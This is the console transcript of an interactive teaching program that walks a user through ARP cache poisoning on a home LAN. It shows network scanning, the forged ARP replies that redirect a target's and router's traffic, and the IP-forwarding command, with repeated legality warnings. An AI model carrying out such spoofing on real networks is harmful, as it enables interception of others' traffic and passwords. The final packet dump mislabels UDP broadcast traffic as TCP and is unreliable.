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tutorial.txt
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====================================================================
Welcome to ARP POISON! 🐍 🐍 🐍 🐍
This is a tutorial designed to teach a little bit about how ARP packets work.
And scare you a little bit about how easy they are to exploit.
This is NOT designed for people who already know how ARP cache poisoning works or don't care.
If you are looking for a quick way to perform ARP spoofing download dsiff and wireshark.
We are going to walk you through the steps of making ARP reqests and replies.
And how they can be altered to spy on devices on the same network as you
===================================================================
(enter to continue)
ARP cache poisoning or ARP spoofing is a so-called man-in-the-middle attack.
It allows to spy on devices connected to the same network as you.
With ARP packets you can trick them into sending data intended for the router to you.
And trick the router into sending internet trafic intended for them to you also.
By forwarding the trafic back and forth, it is possible to look at it without either device noticing.
Thus becoming an invisible 'man-in-the-middle' between the target device and the host router.
Please bear in mind that you will need a device you are allowed to spy on or the following will be ilegal.
Your phone is a good bet.
(enter to continue)
In order to send ARP packets we are going to need to know what interface to use.
The interface will probably be either your Ethernet (wired) or Wi-Fi interface.
(enter to continue)
I've detected these interfaces on your system (its probably the first one):
Device 1: wlp3s0
Device 2: lo
Device 3: any
Device 4: virbr0
Device 5: docker0
Device 6: bluetooth-monitor
Device 7: nflog
Device 8: nfqueue
Device 9: ovs-system
Device 10: virbr0-nic
Device 11: wwan0
Device 12: s1
Device 13: enp0s25
Choose your Wi-Fi interface by number: 1
You chose: wlp3s0
It's MAC and IP addresses are:
------------------------------------------------
MAC address : 5C-E0-C5-37-CC-74
IP address : 192.168.1.87
------------------------------------------------
(enter to continue)
Scanning your network...
1 seconds left....
Found these addresses online (there might be more):
192.168.1.1
192.168.1.66
192.168.1.68
(enter to continue)
The host and target will have to be on the same network as your interface
This means we know the first 3 fields of the IP already
(enter to continue)
Enter final field of your targets IP address (they have to be online) 192.168.1.68
If the host is your router its IP is probably 192.168.1.1 if its not, please enter it here in full:
Now we can send out an ARP request each of these IP's
target : 192.168.1.68
host : 192.168.1.1
(enter to continue)
An ARP request is a very small packet of data sent from your computer or phone to everyone on your network.
The packet is normaly only 42 bytes long, which takes up no more memory than this sentence:
Hi, I am a sentence of only 42 characters.
The packet contains MAC and IP addresses.
You probably know what an IP is, but maybe not a MAC.
A MAC address is the hardware address of your network interface is assigned by the manufacturer.
Devices on your network will use the MAC address to communicate rather than IP.
While your computer might know the IP it needs to send its data to (e.g. your router), it might not know the MAC address
The ARP request is then sent out to your network asking 'what is the MAC address of <someIP>'.
Depending on where you are, 'your network' most likely means everyone using the same Wi-Fi as you, this is called a LAN.
So if you are at home you probably don't need to worry about this attack unless your neibours are hackers.
But if you are in a coffee shop, you want to be using https.
NOTE: this tutorial assumes you are on a 'class C' network meaning only the last field of your IP varies in your LAN.
Let's take a look at our first request.
(enter to continue)
The first ARP request will look like this:
(enter to continue)
****************************ARP PACKET****************************
Ethernet Header
|-Source Address : 5C-E0-C5-37-CC-74 <- your MAC
|-Destination Address : FF-FF-FF-FF-FF-FF <- broadcast address
|-EtherType : 0x0806
ARP header
|-Source MAC : 5C-E0-C5-37-CC-74 <- your MAC
|-Target MAC : 00-00-00-00-00-00 <- don't know yet
|-Source IP : 192.168.1.87 <- your IP
|-Target IP : 192.168.1.1 <- the ip of the host
|-Hardware Type : 1
|-Protocol Type : 2048
|-Op code : 1 = ARP_REQUEST
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(enter to continue)
(Well.. It actualy looks like this:
FF FF FF FF FF FF 5C E0 C5 37 CC 74 08 06 00 01 |......\..7.t....|
08 00 06 04 00 01 5C E0 C5 37 CC 74 C0 A8 01 57 |......\..7.t...W|
00 00 00 00 00 00 C0 A8 01 |........D |
Or it does when translated from raw bytes to hexadecimal, but I've parsed into a table it because thats not important.
If you look closely you will see most of the data from above.)
Moving on..
(enter to continue)
Setting the Destination MAC to 'broadcast address' (FF-FF-FF-FF-FF-FF) will send the packet to everyone in your IP range (192.168.1.0-224).
The Target MAC is left blank (00-00-00-00-00-00) beacause this is what we are asking for.
Setting the Target IP to the host and the Op code to ARP_REQUEST (1) will ask everone that receives the packet to check their ARP cache for this IP.
The ARP cache is a table of all known IP and MAC addresses on your local area network (LAN).
Your computer must know the MAC address of any device on your network it wishes to comunicate with.
If any device on your network has the Target IP their ARP cache they will respond with an ARP_REPLY containing its MAC address.
You normally use this to update your ARP cache, we will use it to get the MAC address of the host.
Lets send it..
(enter to continue)
Sent!
Now we wait for a reply ...
Got one! (42 bytes)
(enter to continue)
****************************ARP PACKET****************************
Ethernet Header
|-Source Address : C4-FF-1F-71-78-6F <- replying device MAC
|-Destination Address : 5C-E0-C5-37-CC-74 <- your MAC
|-EtherType : 0x0806
ARP header
|-Source MAC : C4-FF-1F-71-78-6F <- Host MAC
|-Target MAC : 5C-E0-C5-37-CC-74 <- your MAC
|-Source IP : 192.168.1.1 <- host IP
|-Target IP : 192.168.1.87 <- your IP
|-Hardware Type : 1
|-Protocol Type : 2048
|-Op code : 2 = ARP_REPLY
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(enter to continue)
If all went well you should now have the hosts MAC.
If so, it will be in the Source MAC field, here its C4-FF-1F-71-78-6F.
The Source address field tells us who reponded with this infomation.
As all Wi-Fi trafic passes through the router, this is most likley the same MAC.
Lets save this MAC and do the same for the target.
The ARP request for the target will be the same as for the host, but with the target's IP in place of the host's.
(enter to continue)
****************************ARP PACKET****************************
Ethernet Header
|-Source Address : 5C-E0-C5-37-CC-74 <- your MAC
|-Destination Address : FF-FF-FF-FF-FF-FF <- broadcast address
|-EtherType : 0x0806
ARP header
|-Source MAC : 5C-E0-C5-37-CC-74 <- your MAC
|-Target MAC : 00-00-00-00-00-00 <- don't know yet
|-Source IP : 192.168.1.87 <- your IP
|-Target IP : 192.168.1.68 <- the ip of the target
|-Hardware Type : 1
|-Protocol Type : 2048
|-Op code : 1 = ARP_REQUEST
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(enter to continue)
Sent!
Now we wait for a reply ...
Got one! (42 bytes)
(enter to continue)
****************************ARP PACKET****************************
Ethernet Header
|-Source Address : C8-E0-EB-2C-C0-23 <- replying device MAC
|-Destination Address : 5C-E0-C5-37-CC-74 <- your MAC
|-EtherType : 0x0806
ARP header
|-Source MAC : C8-E0-EB-2C-C0-23 <- target MAC
|-Target MAC : 5C-E0-C5-37-CC-74 <- your MAC
|-Source IP : 192.168.1.68 <- target IP
|-Target IP : 192.168.1.87 <- your IP
|-Hardware Type : 1
|-Protocol Type : 2048
|-Op code : 2 = ARP_REPLY
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(enter to continue)
So now we have the targets MAC! Its C8-E0-EB-2C-C0-23.
(enter to continue)
Now that we have the devices MAC addresses we can move onto the actual cache poisoning!
NOTE: if the target device is not yours and you do not have permission to access it this step is ILLEGAL.
DO NOT CONTINUE without permissions, if you do not have permission, restart and try it on your phone.
(enter to continue)
Most likely your computer alrealdy had at least the host MAC in your ARP cache (see this by typing arp -a into a terminal).
The ARP cache is a temporary table or map of MAC and IP addresses on your network.
It is temporary because IP addreses change and can be the same over different LAN's
However by going though this process we have already seen all the steps necessary for the trick we want to show.
ARP cache poisoning exploits the fact that the ARP cache allows unsolicited ARP replies to update it.
Because it is imposisble to know if the replies are legit or not we can send ARP replies that will change:
The MAC of the host in the target's ARP cache to your MAC address.
The MAC of the target in the host's ARP cache to your MAC address.
All network trafic in your LAN is sent by MAC instead of IP.
So the result of falsely updating the cache in this way is to make the target send you any data intended for the web to you.
And the router (host) to send all internet data intended for the target to you.
If you make sure to forward all of this data, neither the target nor the router will notice anything.
But with a network sniffer like wireshark you can see everything the target is doing online including any inputed passwords
Fortunatly because of ssl (https) this will probably all be very encrypted.
But if the target uses http, you can read it directly.
(enter to continue)
First we will send several ARP replies to the host.
They will look like this:
(enter to continue)
****************************ARP PACKET****************************
Ethernet Header
|-Source Address : 5C-E0-C5-37-CC-74 <- your MAC
|-Destination Address : C4-FF-1F-71-78-6F <- host MAC
|-EtherType : 0x0806
ARP header
|-Source MAC : 5C-E0-C5-37-CC-74 <- YOUR MAC
|-Target MAC : C4-FF-1F-71-78-6F <- host MAC
|-Source IP : 192.168.1.68 <- TARGET IP
|-Target IP : 192.168.1.1 <- host IP
|-Hardware Type : 1
|-Protocol Type : 2048
|-Op code : 2 = ARP_REPLY
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(enter to continue)
As you can see, we have set the source MAC to our own, but the source IP to the targets.
This should cause the host (router) to reassociate the target's IP with your MAC.
So when traffic comes in from the WWW.internet (or anywhere) for this IP, it will send it to you instead.
We will then send several ARP replies to the target, they will look like this:
(enter to continue)
****************************ARP PACKET****************************
Ethernet Header
|-Source Address : 5C-E0-C5-37-CC-74 <- your MAC
|-Destination Address : C8-E0-EB-2C-C0-23 <- target MAC
|-EtherType : 0x0806
ARP header
|-Source MAC : 5C-E0-C5-37-CC-74 <- YOUR MAC
|-Target MAC : C8-E0-EB-2C-C0-23 <- target MAC
|-Source IP : 192.168.1.1 <- HOST IP
|-Target IP : 192.168.1.68 <- target IP
|-Hardware Type : 1
|-Protocol Type : 2048
|-Op code : 2 = ARP_REPLY
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(enter to continue)
This is the same as the last but sent to the target with the target MAC and the host's IP.
This should make the host reassociate our MAC with the targets IP.
So when the target wants to get a webpage or send it some data it will ask/send it to us.
It also means it won't see anything weird about us sending it the pages it has requested.
We can do that because the router is sending it all to us.
for this to work you will have to turn on IP forwarding, on Linux this is done by typing
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
If that doesn't work try:
sudo nano /proc/sys/net/ipv4/ip_forward # and change the 0 to a 1If your not using Linux, google it
If you have done this, we will now send 20 packets to each with a delay of 1 second, so this will take just under a minute.
(enter to continue)
Poisoning host...
...
Poisoning target...
...
Done! now we can wait and sniff for our first TCP packet from the target or host!
Waiting...
Got one!
(enter to continue)
****************************TCP PACKET****************************
Ethernet Header
|-Source Address : C8-E0-EB-2C-C0-23
|-Destination Address : FF-FF-FF-FF-FF-FF
|-EtherType : 0x800
IP Header
|-Version : 4
|-Internet Header Length : 5 DWORDS or 20 Bytes
|-Type Of Service : 0
|-Total Length : 72 Bytes
|-Identification : 65325
|-Time To Live : 64
|-Protocol : 17
|-Header Checksum : 63203
|-Source IP : 192.168.1.68
|-Destination IP : 192.168.1.255
TCP header
|-Source Port : 57621
|-Destination Port : 57621
|-Sequence Number : 52
|-ACK Number : 21360
|--------flags-------
|-Urgent : 256
|-ACK : 0
|-Push : 256
|-RST : 256
|-SYN : 256
|-Finish : 256
Payload
53 70 6F 74 55 64 70 30 E6 5D 8A 04 28 0D F8 F8 |SpotUdp0.]..(...|
00 01 00 04 48 95 C2 03 E3 48 75 45 89 5A E4 26 |....H....HuE.Z.&|
A0 78 04 A3 9D A3 FD E0 1D 50 B2 |x.......P.& |
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
You got your first packet!
Theres a small chance you have gotten it for some other reason but probably it has been redirected from the target!
Now if you want to analyse the stream of stolen packets you should probably jump on wireshark or use tcpdump.
This program is not really made for bulk packet sniffing, but if you like we can keep showing you TCP trafic from the target.
Type 'more' to keep seeing trafic or press enter to leave this tutorial.